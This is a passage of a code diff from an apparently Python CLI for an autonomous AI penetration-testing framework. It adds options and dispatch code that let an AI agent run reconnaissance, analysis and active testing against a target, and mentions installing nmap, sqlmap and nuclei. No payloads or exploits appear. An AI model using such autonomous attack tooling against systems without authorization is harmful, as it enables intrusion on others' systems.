parser.add_argument('--quick-scan', metavar='TARGET',
help='Run QUICK pentest scan on target')
# Autonomous AI Agent options
parser.add_argument('--pentest', metavar='TARGET',
help='Run full autonomous pentest: Recon -> Analyze -> Test -> Report')
parser.add_argument('--recon-only', metavar='TARGET',
help='Run reconnaissance only, no vulnerability testing')
parser.add_argument('--prompt-only', metavar='TARGET',
help='AI decides everything based on prompt (WARNING: High token usage!)')
parser.add_argument('--analyze-only', metavar='TARGET',
help='Analysis only mode, no active testing')
parser.add_argument('--task', metavar='TASK_ID',
help='Task ID from library to execute')
parser.add_argument('--prompt-file', '-pf', metavar='FILE',
help='Custom .md prompt file for AI agent')
parser.add_argument('--list-tasks', action='store_true',
help='List all available tasks from library')
# Legacy AI Agent options
parser.add_argument('--agent', metavar='TARGET',
help='Run simple AI Agent on target')
# Tool management
parser.add_argument('--install-tools', action='store_true',
help='Install required pentest tools (nmap, sqlmap, nuclei, etc.)')
@@ -1393,6 +2094,62 @@ EXAMPLES:
print(f"[+] Loaded context from: {args.context_file}")
framework.execute_real_scan(args.quick_scan, scan_type="quick", agent_role=agent_role, recon_context=context)
# Handle Autonomous Pentest (Full Auto)
elif args.pentest:
framework.run_autonomous_agent(
target=args.pentest,
mode="full_auto",
task_id=args.task,
prompt_file=args.prompt_file,
context_file=args.context_file,
llm_profile=args.llm_profile
)
# Handle Recon Only
elif args.recon_only:
framework.run_autonomous_agent(
target=args.recon_only,
mode="recon_only",
llm_profile=args.llm_profile
)
# Handle Prompt Only (High Token Usage Warning)
elif args.prompt_only:
print("\n" + "!"*70)
print(" WARNING: PROMPT-ONLY MODE")
print(" This mode uses significantly more tokens than other modes.")
print(" The AI will decide what tools to use based on your prompt.")
print("!"*70 + "\n")
framework.run_autonomous_agent(
target=args.prompt_only,
mode="prompt_only",
prompt_file=args.prompt_file,
context_file=args.context_file,
llm_profile=args.llm_profile
)
# Handle Analyze Only
elif args.analyze_only:
framework.run_autonomous_agent(
target=args.analyze_only,
mode="analyze_only",
context_file=args.context_file,
llm_profile=args.llm_profile
)
# Handle List Tasks
elif args.list_tasks:
framework.list_tasks()
# Handle Legacy AI Agent
elif args.agent:
framework.run_ai_agent(
target=args.agent,
prompt_file=args.prompt_file,
context_file=args.context_file,
llm_profile=args.llm_profile
)
# Handle list commands
elif args.list_agents:
framework.list_agent_roles()

Some files were not shown because too many files have changed in this diff Show More